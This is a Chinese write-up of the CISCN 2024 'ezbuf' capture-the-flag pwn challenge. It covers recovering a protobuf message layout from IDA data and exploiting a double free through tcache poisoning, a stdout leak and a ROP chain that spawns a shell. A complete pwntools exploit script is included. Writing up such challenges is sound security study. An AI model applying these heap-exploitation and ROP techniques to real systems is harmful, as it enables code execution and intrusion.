2024 cicsn ezbuf

文章目錄

  • 參考
  • protobuf
  • 逆向學習
  • 復原結構
  • 思路
  • exp

參考

https://www.y4ng.cn/posts/pwn/protobuf/#ciscn-2024-ezbuf

protobuf

當時壓根不知道用了protobuf這個玩意,提取工具也沒提取出來,還是做題做太少了,很多關鍵性的結構都沒看出來是protobuf
下次可以根據ProtobufCMessageDescriptor結構體的magic頭(一般是0x28AAEEF9)來搜索定位到ProtobufCMessageDescriptor
在這里插入圖片描述
在這里插入圖片描述

逆向學習

const ProtobufCMessageDescriptor devicemsg__descriptor =
{PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,"devicemsg","Devicemsg","Devicemsg","",sizeof(Devicemsg),5,devicemsg__field_descriptors,devicemsg__field_indices_by_name,1,  devicemsg__number_ranges,(ProtobufCMessageInit) devicemsg__init,NULL,NULL,NULL    /* reserved[123] */
};

相關字段

/*** Describes a message.*/
struct ProtobufCMessageDescriptor {/** Magic value checked to ensure that the API is used correctly. */uint32_t			magic;/** The qualified name (e.g., "namespace.Type"). */const char			*name;/** The unqualified name as given in the .proto file (e.g., "Type"). */const char			*short_name;/** Identifier used in generated C code. */const char			*c_name;/** The dot-separated namespace. */const char			*package_name;/*** Size in bytes of the C structure representing an instance of this* type of message.*/size_t				sizeof_message;/** Number of elements in `fields`. */unsigned			n_fields;/** Field descriptors, sorted by tag number. */const ProtobufCFieldDescriptor	*fields;/** Used for looking up fields by name. */const unsigned			*fields_sorted_by_name;/** Number of elements in `field_ranges`. */unsigned			n_field_ranges;/** Used for looking up fields by id. */const ProtobufCIntRange		*field_ranges;/** Message initialisation function. */ProtobufCMessageInit		message_init;/** Reserved for future use. */void				*reserved1;/** Reserved for future use. */void				*reserved2;/** Reserved for future use. */void				*reserved3;
};

對應IDA中

.data.rel.ro:000000000000BC60 unk_BC60        db 0F9h                 ; DATA XREF: sub_1AFE+5B↑o
.data.rel.ro:000000000000BC60                                         ; sub_1B66+17↑o ...
.data.rel.ro:000000000000BC61                 db 0EEh
.data.rel.ro:000000000000BC62                 db 0AAh
.data.rel.ro:000000000000BC63                 db  28h ; (
.data.rel.ro:000000000000BC64                 db    0
.data.rel.ro:000000000000BC65                 db    0
.data.rel.ro:000000000000BC66                 db    0
.data.rel.ro:000000000000BC67                 db    0
.data.rel.ro:000000000000BC68                 dq offset aHeybro       ; "heybro"
.data.rel.ro:000000000000BC70                 dq offset aHeybro_0     ; "Heybro"
.data.rel.ro:000000000000BC78                 dq offset aHeybro_0     ; "Heybro"
.data.rel.ro:000000000000BC80                 dq offset unk_910E
.data.rel.ro:000000000000BC88                 db  48h ; H
.data.rel.ro:000000000000BC89                 db    0
.data.rel.ro:000000000000BC8A                 db    0
.data.rel.ro:000000000000BC8B                 db    0
.data.rel.ro:000000000000BC8C                 db    0
.data.rel.ro:000000000000BC8D                 db    0
.data.rel.ro:000000000000BC8E                 db    0
.data.rel.ro:000000000000BC8F                 db    0
.data.rel.ro:000000000000BC90                 db    5
.data.rel.ro:000000000000BC91                 db    0
.data.rel.ro:000000000000BC92                 db    0
.data.rel.ro:000000000000BC93                 db    0
.data.rel.ro:000000000000BC94                 db    0
.data.rel.ro:000000000000BC95                 db    0
.data.rel.ro:000000000000BC96                 db    0
.data.rel.ro:000000000000BC97                 db    0
.data.rel.ro:000000000000BC98                 dq offset off_BAE0      ; "whatcon"
.data.rel.ro:000000000000BCA0                 dq offset unk_90D0
.data.rel.ro:000000000000BCA8                 db    1
.data.rel.ro:000000000000BCA9                 db    0
.data.rel.ro:000000000000BCAA                 db    0
.data.rel.ro:000000000000BCAB                 db    0
.data.rel.ro:000000000000BCAC                 db    0
.data.rel.ro:000000000000BCAD                 db    0
.data.rel.ro:000000000000BCAE                 db    0
.data.rel.ro:000000000000BCAF                 db    0
.data.rel.ro:000000000000BCB0                 dq offset unk_90F0
.data.rel.ro:000000000000BCB8                 dq offset sub_1AFE

然后根據ProtobufCFieldDescriptor去尋找內部各個字段的內容


static const ProtobufCFieldDescriptor devicemsg__field_descriptors[5] =
{{"whatcon",1,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_BYTES,0,   /* quantifier_offset */offsetof(Devicemsg, whatcon),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{"whattodo",2,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0,   /* quantifier_offset */offsetof(Devicemsg, whattodo),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{"whatidx",3,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0,   /* quantifier_offset */offsetof(Devicemsg, whatidx),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{"whatsize",4,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0,   /* quantifier_offset */offsetof(Devicemsg, whatsize),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},{protobuf_c_message_pack"whatsthis",5,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_UINT32,0,   /* quantifier_offset */offsetof(Devicemsg, whatsthis),NULL,NULL,0,             /* flags */0,NULL,NULL    /* reserved1,reserved2, etc */},
};

相關字段的定義

struct ProtobufCFieldDescriptor {/** Name of the field as given in the .proto file. */const char		*name;/** Tag value of the field as given in the .proto file. */uint32_t		id;/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ProtobufCLabel		label;/** The type of the field. */ProtobufCType		type;/*** The offset in bytes of the message's C structure's quantifier field* (the `has_MEMBER` field for optional members or the `n_MEMBER` field* for repeated members or the case enum for oneofs).*/unsigned		quantifier_offset;/*** The offset in bytes into the message's C structure for the member* itself.*/unsigned		offset;/*** A type-specific descriptor.** If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the* corresponding `ProtobufCEnumDescriptor`.** If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to* the corresponding `ProtobufCMessageDescriptor`.** Otherwise this field is NULL.*/const void		*descriptor; /* for MESSAGE and ENUM types *//** The default value for this field, if defined. May be NULL. */const void		*default_value;/*** A flag word. Zero or more of the bits defined in the* `ProtobufCFieldFlag` enum may be set.*/uint32_t		flags;/** Reserved for future use. */unsigned		reserved_flags;/** Reserved for future use. */void			*reserved2;/** Reserved for future use. */void			*reserved3;
};

根據這四個字段來復原原來的結構const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type;

typedef enum {/** A well-formed message must have exactly one of this field. */0 PROTOBUF_C_LABEL_REQUIRED,/*** A well-formed message can have zero or one of this field (but not* more than one).*/1 PROTOBUF_C_LABEL_OPTIONAL,/*** This field can be repeated any number of times (including zero) in a* well-formed message. The order of the repeated values will be* preserved.*/2 PROTOBUF_C_LABEL_REPEATED,/*** This field has no label. This is valid only in proto3 and is* equivalent to OPTIONAL but no "has" quantifier will be consulted.*/3 PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;typedef enum {
0	PROTOBUF_C_TYPE_INT32,      /**< int32 */
1	PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
2	PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
3	PROTOBUF_C_TYPE_INT64,      /**< int64 */
4	PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
5	PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
6	PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
7	PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
8	PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
9	PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
10	PROTOBUF_C_TYPE_FLOAT,      /**< float */
11	PROTOBUF_C_TYPE_DOUBLE,     /**< double */
12	PROTOBUF_C_TYPE_BOOL,       /**< boolean */
13	PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
14	PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
15	PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
16	PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

對應到IDA中

.data.rel.ro:000000000000BAE0 off_BAE0        dq offset aWhatcon      ; DATA XREF: .data.rel.ro:000000000000BC98↓o
.data.rel.ro:000000000000BAE0                                         ; "whatcon"
.data.rel.ro:000000000000BAE8                 db    1
.data.rel.ro:000000000000BAE9                 db    0
.data.rel.ro:000000000000BAEA                 db    0
.data.rel.ro:000000000000BAEB                 db    0
.data.rel.ro:000000000000BAEC                 db    3
.data.rel.ro:000000000000BAED                 db    0
.data.rel.ro:000000000000BAEE                 db    0
.data.rel.ro:000000000000BAEF                 db    0
.data.rel.ro:000000000000BAF0                 db  0Fh
.data.rel.ro:000000000000BAF1                 db    0
.data.rel.ro:000000000000BAF2                 db    0
.data.rel.ro:000000000000BAF3                 db    0
.data.rel.ro:000000000000BAF4                 db    0
.data.rel.ro:000000000000BAF5                 db    0
.data.rel.ro:000000000000BAF6                 db    0
.data.rel.ro:000000000000BAF7                 db    0
.data.rel.ro:000000000000BAF8                 db  18h
.data.rel.ro:000000000000BAF9                 db    0
.data.rel.ro:000000000000BAFA                 db    0
.data.rel.ro:000000000000BAFB                 db    0
.data.rel.ro:000000000000BAFC                 db    0
.data.rel.ro:000000000000BAFD                 db    0
.data.rel.ro:000000000000BAFE                 db    0
.data.rel.ro:000000000000BAFF                 db    0
.data.rel.ro:000000000000BB00                 db    0
.data.rel.ro:000000000000BB01                 db    0
.data.rel.ro:000000000000BB02                 db    0
.data.rel.ro:000000000000BB03                 db    0
.data.rel.ro:000000000000BB04                 db    0
.data.rel.ro:000000000000BB05                 db    0
.data.rel.ro:000000000000BB06                 db    0
.data.rel.ro:000000000000BB07                 db    0
.data.rel.ro:000000000000BB08                 db    0
.data.rel.ro:000000000000BB09                 db    0
.data.rel.ro:000000000000BB0A                 db    0
.data.rel.ro:000000000000BB0B                 db    0
.data.rel.ro:000000000000BB0C                 db    0
.data.rel.ro:000000000000BB0D                 db    0
.data.rel.ro:000000000000BB0E                 db    0
.data.rel.ro:000000000000BB0F                 db    0
.data.rel.ro:000000000000BB10                 db    0
.data.rel.ro:000000000000BB11                 db    0
.data.rel.ro:000000000000BB12                 db    0
.data.rel.ro:000000000000BB13                 db    0
.data.rel.ro:000000000000BB14                 db    0
.data.rel.ro:000000000000BB15                 db    0
.data.rel.ro:000000000000BB16                 db    0
.data.rel.ro:000000000000BB17                 db    0
.data.rel.ro:000000000000BB18                 db    0
.data.rel.ro:000000000000BB19                 db    0
.data.rel.ro:000000000000BB1A                 db    0
.data.rel.ro:000000000000BB1B                 db    0
.data.rel.ro:000000000000BB1C                 db    0
.data.rel.ro:000000000000BB1D                 db    0
.data.rel.ro:000000000000BB1E                 db    0
.data.rel.ro:000000000000BB1F                 db    0
.data.rel.ro:000000000000BB20                 db    0
.data.rel.ro:000000000000BB21                 db    0
.data.rel.ro:000000000000BB22                 db    0
.data.rel.ro:000000000000BB23                 db    0
.data.rel.ro:000000000000BB24                 db    0
.data.rel.ro:000000000000BB25                 db    0
.data.rel.ro:000000000000BB26                 db    0
.data.rel.ro:000000000000BB27                 db    0
.data.rel.ro:000000000000BB28                 dq offset aWhattodo     ; "whattodo"
.data.rel.ro:000000000000BB30                 db    2
.data.rel.ro:000000000000BB31                 db    0
.data.rel.ro:000000000000BB32                 db    0
.data.rel.ro:000000000000BB33                 db    0
.data.rel.ro:000000000000BB34                 db    3
.data.rel.ro:000000000000BB35                 db    0
.data.rel.ro:000000000000BB36                 db    0
.data.rel.ro:000000000000BB37                 db    0
.data.rel.ro:000000000000BB38                 db    4
.data.rel.ro:000000000000BB39                 db    0
.data.rel.ro:000000000000BB3A                 db    0
.data.rel.ro:000000000000BB3B                 db    0
.data.rel.ro:000000000000BB3C                 db    0
.data.rel.ro:000000000000BB3D                 db    0
.data.rel.ro:000000000000BB3E                 db    0
.data.rel.ro:000000000000BB3F                 db    0
.data.rel.ro:000000000000BB40                 db  28h ; (
.data.rel.ro:000000000000BB41                 db    0
.data.rel.ro:000000000000BB42                 db    0
.data.rel.ro:000000000000BB43                 db    0
.data.rel.ro:000000000000BB44                 db    0
.data.rel.ro:000000000000BB45                 db    0
.data.rel.ro:000000000000BB46                 db    0
.data.rel.ro:000000000000BB47                 db    0
.data.rel.ro:000000000000BB48                 db    0
.data.rel.ro:000000000000BB49                 db    0
.data.rel.ro:000000000000BB4A                 db    0
.data.rel.ro:000000000000BB4B                 db    0
.data.rel.ro:000000000000BB4C                 db    0
.data.rel.ro:000000000000BB4D                 db    0
.data.rel.ro:000000000000BB4E                 db    0
.data.rel.ro:000000000000BB4F                 db    0
.data.rel.ro:000000000000BB50                 db    0
.data.rel.ro:000000000000BB51                 db    0
.data.rel.ro:000000000000BB52                 db    0
.data.rel.ro:000000000000BB53                 db    0
.data.rel.ro:000000000000BB54                 db    0
.data.rel.ro:000000000000BB55                 db    0
.data.rel.ro:000000000000BB56                 db    0
.data.rel.ro:000000000000BB57                 db    0
.data.rel.ro:000000000000BB58                 db    0
.data.rel.ro:000000000000BB59                 db    0
.data.rel.ro:000000000000BB5A                 db    0
.data.rel.ro:000000000000BB5B                 db    0
.data.rel.ro:000000000000BB5C                 db    0
.data.rel.ro:000000000000BB5D                 db    0
.data.rel.ro:000000000000BB5E                 db    0
.data.rel.ro:000000000000BB5F                 db    0
.data.rel.ro:000000000000BB60                 db    0
.data.rel.ro:000000000000BB61                 db    0
.data.rel.ro:000000000000BB62                 db    0
.data.rel.ro:000000000000BB63                 db    0
.data.rel.ro:000000000000BB64                 db    0
.data.rel.ro:000000000000BB65                 db    0
.data.rel.ro:000000000000BB66                 db    0
.data.rel.ro:000000000000BB67                 db    0
.data.rel.ro:000000000000BB68                 db    0
.data.rel.ro:000000000000BB69                 db    0
.data.rel.ro:000000000000BB6A                 db    0
.data.rel.ro:000000000000BB6B                 db    0
.data.rel.ro:000000000000BB6C                 db    0
.data.rel.ro:000000000000BB6D                 db    0
.data.rel.ro:000000000000BB6E                 db    0
.data.rel.ro:000000000000BB6F                 db    0
.data.rel.ro:000000000000BB70                 dq offset aWhatidx      ; "whatidx"
.data.rel.ro:000000000000BB78                 db    3
.data.rel.ro:000000000000BB79                 db    0
.data.rel.ro:000000000000BB7A                 db    0
.data.rel.ro:000000000000BB7B                 db    0
.data.rel.ro:000000000000BB7C                 db    3
.data.rel.ro:000000000000BB7D                 db    0
.data.rel.ro:000000000000BB7E                 db    0
.data.rel.ro:000000000000BB7F                 db    0
.data.rel.ro:000000000000BB80                 db    4
.data.rel.ro:000000000000BB81                 db    0
.data.rel.ro:000000000000BB82                 db    0
.data.rel.ro:000000000000BB83                 db    0
.data.rel.ro:000000000000BB84                 db    0
.data.rel.ro:000000000000BB85                 db    0
.data.rel.ro:000000000000BB86                 db    0
.data.rel.ro:000000000000BB87                 db    0
.data.rel.ro:000000000000BB88                 db  30h ; 0
.data.rel.ro:000000000000BB89                 db    0
.data.rel.ro:000000000000BB8A                 db    0
.data.rel.ro:000000000000BB8B                 db    0
.data.rel.ro:000000000000BB8C                 db    0
.data.rel.ro:000000000000BB8D                 db    0
.data.rel.ro:000000000000BB8E                 db    0
.data.rel.ro:000000000000BB8F                 db    0
.data.rel.ro:000000000000BB90                 db    0
.data.rel.ro:000000000000BB91                 db    0
.data.rel.ro:000000000000BB92                 db    0
.data.rel.ro:000000000000BB93                 db    0
.data.rel.ro:000000000000BB94                 db    0
.data.rel.ro:000000000000BB95                 db    0
.data.rel.ro:000000000000BB96                 db    0
.data.rel.ro:000000000000BB97                 db    0
.data.rel.ro:000000000000BB98                 db    0
.data.rel.ro:000000000000BB99                 db    0
.data.rel.ro:000000000000BB9A                 db    0
.data.rel.ro:000000000000BB9B                 db    0
.data.rel.ro:000000000000BB9C                 db    0
.data.rel.ro:000000000000BB9D                 db    0
.data.rel.ro:000000000000BB9E                 db    0
.data.rel.ro:000000000000BB9F                 db    0
.data.rel.ro:000000000000BBA0                 db    0
.data.rel.ro:000000000000BBA1                 db    0
.data.rel.ro:000000000000BBA2                 db    0
.data.rel.ro:000000000000BBA3                 db    0
.data.rel.ro:000000000000BBA4                 db    0
.data.rel.ro:000000000000BBA5                 db    0
.data.rel.ro:000000000000BBA6                 db    0
.data.rel.ro:000000000000BBA7                 db    0
.data.rel.ro:000000000000BBA8                 db    0
.data.rel.ro:000000000000BBA9                 db    0
.data.rel.ro:000000000000BBAA                 db    0
.data.rel.ro:000000000000BBAB                 db    0
.data.rel.ro:000000000000BBAC                 db    0
.data.rel.ro:000000000000BBAD                 db    0
.data.rel.ro:000000000000BBAE                 db    0
.data.rel.ro:000000000000BBAF                 db    0
.data.rel.ro:000000000000BBB0                 db    0
.data.rel.ro:000000000000BBB1                 db    0
.data.rel.ro:000000000000BBB2                 db    0
.data.rel.ro:000000000000BBB3                 db    0
.data.rel.ro:000000000000BBB4                 db    0
.data.rel.ro:000000000000BBB5                 db    0
.data.rel.ro:000000000000BBB6                 db    0
.data.rel.ro:000000000000BBB7                 db    0
.data.rel.ro:000000000000BBB8                 dq offset aWhatsize     ; "whatsize"
.data.rel.ro:000000000000BBC0                 db    4
.data.rel.ro:000000000000BBC1                 db    0
.data.rel.ro:000000000000BBC2                 db    0
.data.rel.ro:000000000000BBC3                 db    0
.data.rel.ro:000000000000BBC4                 db    3
.data.rel.ro:000000000000BBC5                 db    0
.data.rel.ro:000000000000BBC6                 db    0
.data.rel.ro:000000000000BBC7                 db    0
.data.rel.ro:000000000000BBC8                 db    4
.data.rel.ro:000000000000BBC9                 db    0
.data.rel.ro:000000000000BBCA                 db    0
.data.rel.ro:000000000000BBCB                 db    0
.data.rel.ro:000000000000BBCC                 db    0
.data.rel.ro:000000000000BBCD                 db    0
.data.rel.ro:000000000000BBCE                 db    0
.data.rel.ro:000000000000BBCF                 db    0
.data.rel.ro:000000000000BBD0                 db  38h ; 8
.data.rel.ro:000000000000BBD1                 db    0
.data.rel.ro:000000000000BBD2                 db    0
.data.rel.ro:000000000000BBD3                 db    0
.data.rel.ro:000000000000BBD4                 db    0
.data.rel.ro:000000000000BBD5                 db    0
.data.rel.ro:000000000000BBD6                 db    0
.data.rel.ro:000000000000BBD7                 db    0
.data.rel.ro:000000000000BBD8                 db    0
.data.rel.ro:000000000000BBD9                 db    0
.data.rel.ro:000000000000BBDA                 db    0
.data.rel.ro:000000000000BBDB                 db    0
.data.rel.ro:000000000000BBDC                 db    0
.data.rel.ro:000000000000BBDD                 db    0
.data.rel.ro:000000000000BBDE                 db    0
.data.rel.ro:000000000000BBDF                 db    0
.data.rel.ro:000000000000BBE0                 db    0
.data.rel.ro:000000000000BBE1                 db    0
.data.rel.ro:000000000000BBE2                 db    0
.data.rel.ro:000000000000BBE3                 db    0
.data.rel.ro:000000000000BBE4                 db    0
.data.rel.ro:000000000000BBE5                 db    0
.data.rel.ro:000000000000BBE6                 db    0
.data.rel.ro:000000000000BBE7                 db    0
.data.rel.ro:000000000000BBE8                 db    0
.data.rel.ro:000000000000BBE9                 db    0
.data.rel.ro:000000000000BBEA                 db    0
.data.rel.ro:000000000000BBEB                 db    0
.data.rel.ro:000000000000BBEC                 db    0
.data.rel.ro:000000000000BBED                 db    0
.data.rel.ro:000000000000BBEE                 db    0
.data.rel.ro:000000000000BBEF                 db    0
.data.rel.ro:000000000000BBF0                 db    0
.data.rel.ro:000000000000BBF1                 db    0
.data.rel.ro:000000000000BBF2                 db    0
.data.rel.ro:000000000000BBF3                 db    0
.data.rel.ro:000000000000BBF4                 db    0
.data.rel.ro:000000000000BBF5                 db    0
.data.rel.ro:000000000000BBF6                 db    0
.data.rel.ro:000000000000BBF7                 db    0
.data.rel.ro:000000000000BBF8                 db    0
.data.rel.ro:000000000000BBF9                 db    0
.data.rel.ro:000000000000BBFA                 db    0
.data.rel.ro:000000000000BBFB                 db    0
.data.rel.ro:000000000000BBFC                 db    0
.data.rel.ro:000000000000BBFD                 db    0
.data.rel.ro:000000000000BBFE                 db    0
.data.rel.ro:000000000000BBFF                 db    0
.data.rel.ro:000000000000BC00                 dq offset aWhatsthis    ; "whatsthis"
.data.rel.ro:000000000000BC08                 db    5
.data.rel.ro:000000000000BC09                 db    0
.data.rel.ro:000000000000BC0A                 db    0
.data.rel.ro:000000000000BC0B                 db    0
.data.rel.ro:000000000000BC0C                 db    3
.data.rel.ro:000000000000BC0D                 db    0
.data.rel.ro:000000000000BC0E                 db    0
.data.rel.ro:000000000000BC0F                 db    0
.data.rel.ro:000000000000BC10                 db    6
.data.rel.ro:000000000000BC11                 db    0
.data.rel.ro:000000000000BC12                 db    0
.data.rel.ro:000000000000BC13                 db    0
.data.rel.ro:000000000000BC14                 db    0
.data.rel.ro:000000000000BC15                 db    0
.data.rel.ro:000000000000BC16                 db    0
.data.rel.ro:000000000000BC17                 db    0
.data.rel.ro:000000000000BC18                 db  40h ; @
.data.rel.ro:000000000000BC19                 db    0
.data.rel.ro:000000000000BC1A                 db    0
.data.rel.ro:000000000000BC1B                 db    0
.data.rel.ro:000000000000BC1C                 db    0
.data.rel.ro:000000000000BC1D                 db    0
.data.rel.ro:000000000000BC1E                 db    0
.data.rel.ro:000000000000BC1F                 db    0
.data.rel.ro:000000000000BC20                 db    0
.data.rel.ro:000000000000BC21                 db    0
.data.rel.ro:000000000000BC22                 db    0
.data.rel.ro:000000000000BC23                 db    0
.data.rel.ro:000000000000BC24                 db    0
.data.rel.ro:000000000000BC25                 db    0
.data.rel.ro:000000000000BC26                 db    0
.data.rel.ro:000000000000BC27                 db    0
.data.rel.ro:000000000000BC28                 db    0
.data.rel.ro:000000000000BC29                 db    0
.data.rel.ro:000000000000BC2A                 db    0
.data.rel.ro:000000000000BC2B                 db    0
.data.rel.ro:000000000000BC2C                 db    0
.data.rel.ro:000000000000BC2D                 db    0
.data.rel.ro:000000000000BC2E                 db    0
.data.rel.ro:000000000000BC2F                 db    0
.data.rel.ro:000000000000BC30                 db    0
.data.rel.ro:000000000000BC31                 db    0
.data.rel.ro:000000000000BC32                 db    0
.data.rel.ro:000000000000BC33                 db    0
.data.rel.ro:000000000000BC34                 db    0
.data.rel.ro:000000000000BC35                 db    0
.data.rel.ro:000000000000BC36                 db    0
.data.rel.ro:000000000000BC37                 db    0
.data.rel.ro:000000000000BC38                 db    0
.data.rel.ro:000000000000BC39                 db    0
.data.rel.ro:000000000000BC3A                 db    0
.data.rel.ro:000000000000BC3B                 db    0
.data.rel.ro:000000000000BC3C                 db    0
.data.rel.ro:000000000000BC3D                 db    0
.data.rel.ro:000000000000BC3E                 db    0
.data.rel.ro:000000000000BC3F                 db    0
.data.rel.ro:000000000000BC40                 db    0
.data.rel.ro:000000000000BC41                 db    0
.data.rel.ro:000000000000BC42                 db    0
.data.rel.ro:000000000000BC43                 db    0
.data.rel.ro:000000000000BC44                 db    0
.data.rel.ro:000000000000BC45                 db    0
.data.rel.ro:000000000000BC46                 db    0
.data.rel.ro:000000000000BC47                 db    0
.data.rel.ro:000000000000BC48                 db    0
.data.rel.ro:000000000000BC49                 db    0
.data.rel.ro:000000000000BC4A                 db    0
.data.rel.ro:000000000000BC4B                 db    0
.data.rel.ro:000000000000BC4C                 db    0
.data.rel.ro:000000000000BC4D                 db    0
.data.rel.ro:000000000000BC4E                 db    0
.data.rel.ro:000000000000BC4F                 db    0
.data.rel.ro:000000000000BC50                 db    0
.data.rel.ro:000000000000BC51                 db    0
.data.rel.ro:000000000000BC52                 db    0
.data.rel.ro:000000000000BC53                 db    0
.data.rel.ro:000000000000BC54                 db    0
.data.rel.ro:000000000000BC55                 db    0
.data.rel.ro:000000000000BC56                 db    0
.data.rel.ro:000000000000BC57                 db    0
.data.rel.ro:000000000000BC58                 db    0
.data.rel.ro:000000000000BC59                 db    0
.data.rel.ro:000000000000BC5A                 db    0
.data.rel.ro:000000000000BC5B                 db    0
.data.rel.ro:000000000000BC5C                 db    0
.data.rel.ro:000000000000BC5D                 db    0
.data.rel.ro:000000000000BC5E                 db    0
.data.rel.ro:000000000000BC5F                 db    0

復原結構

根據ProtobufCMessageDescriptor 的name字段得到這個message的名字為heybro,然后根據ProtobufCFieldDescriptor 的const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type;得到各個內容的名字,id,label和類型

message heybro{bytes whatcon = 1;sint64 whattodo = 2;sint64 whatidx = 3;sint64 whatsize = 4;uint32 whatsthis = 5;
}

struct  Heybro
{ProtobufCMessage base; //24個字節ProtobufCBinaryData whatcon;int64_t whattodo;int64_t whatidx;int64_t whatsize;uint32_t whatsthis;
};struct ProtobufCMessage {/** The descriptor for this message type. */const ProtobufCMessageDescriptor	*descriptor;/** The number of elements in `unknown_fields`. */unsigned				n_unknown_fields;/** The fields that weren't recognized by the parser. */ProtobufCMessageUnknownField		*unknown_fields;
};struct ProtobufCBinaryData {size_t	len;        /**< Number of bytes in the `data` field. */uint8_t	*data;      /**< Data bytes. */
};sub_1934(*(_QWORD *)(heybro + 24),*(_QWORD *)(heybro + 32),*(_QWORD *)(heybro + 40),*(_QWORD *)(heybro + 48),*(_QWORD *)(heybro + 56),*(unsigned int *)(heybro + 64));bytes類型,轉化為c語言結構時會變成一個結構體,里面存放長度和內容指針。IDA由于沒有內置相關結構信息,將其當做八字節數組進行解析,因此會產生一個有6個記錄的錯覺,實際上后兩個參數是同一個記錄內置的兩條記錄。

思路

add會檢查索引,然后根據索引分配會固定得到0x40大小的chunk,并且會把whatcon的內容賦值過去,10次delete,會檢查索引范圍,和對應索引的chunk是否為空,但free后沒有清零,3次show。會在會檢查索引范圍,和對應索引的chunk是否為空,并且在whatsthis == '\xFF’和 whatsize == 48都不滿足會打印出chunk的內容
存在doublefree,show after free

  1. add時候會先分配一個0x50和一個和data長度相同的chunk,這兩個都是從unsortedbin中分的,然后先是將內容寫到那個和data長度相同的chunk, 最后memcpy將datachunk寫到分配得到的0x40的chunk,這里的話可以通過殘留的libc泄露地址
    在這里插入圖片描述
    在這里插入圖片描述
  2. 泄露堆地址,直接 由于mempy特性和必須寫入內容特性,殘留堆地址會被修改,所以沒用,通過free到tcache泄露即可
    在這里插入圖片描述
  3. 構造任意寫,但由于delete的限制次數剛好是10次,所以只有一次任意寫,但此時tcache中存在其他bin有很多個,可以通過寫tcachebin然后實現多次任意寫,泄露stack地址可以通過任意寫stdout后泄露棧地址
    在這里插入圖片描述
    在這里插入圖片描述
    IO_2_1_stdout:_flags = 0xFBAD1800,然后讓后面的三個read參數為0,然后就write_base和write_ptr之間為我們要輸出的地址范圍
    在這里插入圖片描述
  4. malloc分配到tcachebin,然后再修改tcachebin,使得可以分配到棧上

在這里插入圖片描述

exp

from pwn import *
import devicemsg_pb2
#context.log_level='debug'
context.arch='amd64'
context.os='linux'def add(idx,con):bro=devicemsg_pb2.heybro()bro.whatcon=conbro.whattodo=1bro.whatidx=idxp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def delete(idx):bro=devicemsg_pb2.heybro()bro.whattodo=2bro.whatidx=idxp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def magic(idx,thiss,size,con):bro=devicemsg_pb2.heybro()bro.whattodo=3bro.whatidx=idxbro.whatsthis=thissbro.whatsize=sizebro.whatcon=conp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def exitt():bro=devicemsg_pb2.heybro()bro.whattodo=4p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())#p=remote('8.147.129.121',15268)
p=process('./pwn')
libc=ELF('./libc.so.6')add(0,b'a')add(1,b'a')magic(0,0,0,b'')
p.recvuntil(b'Content:')
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x21ac61
print(hex(libcbase))for i in range(9):add(i,b'a')for i in range(8):delete(i)magic(0,0,0,b'')
p.recvuntil(b'Content:')
heap=u64(p.recvline()[:-1].ljust(8,b'\x00'))+1
print(hex(heap))delete(8)delete(7)for i in range(7):add(i,b'a')pause()add(7,p64(((heap<<12)-0x5000+0xe0)^heap))      
add(7,b'a')
add(7,b'a')
add(7,b'\x00'*8+p64(libcbase+0x21b780-0x90)+p64(0)+p64(((heap<<12)-0x5000+0xe0)))
payload=b'\x00'*0x90+p64(0xfbad1887)+p64(0)*3+p64(libcbase+0x222200)+p64(libcbase+0x222208) #寫stderr
add(7,payload)
stack=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
add(7,p64(0)+p64(stack-0x168)+b'\x00'*0xd0)# 再次修改tcachebin
#gdb.attach(p)rdi=libcbase+0x2a3e5
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
system=libcbase+libc.symbols['system']
ret=libcbase+0x29139
rop=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
add(7,rop.ljust(0xc0,b'\x00'))
p.interactive()

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/24569.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/24569.shtml
英文地址,請注明出處:http://en.pswp.cn/web/24569.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

android 異屏同顯---學習筆記

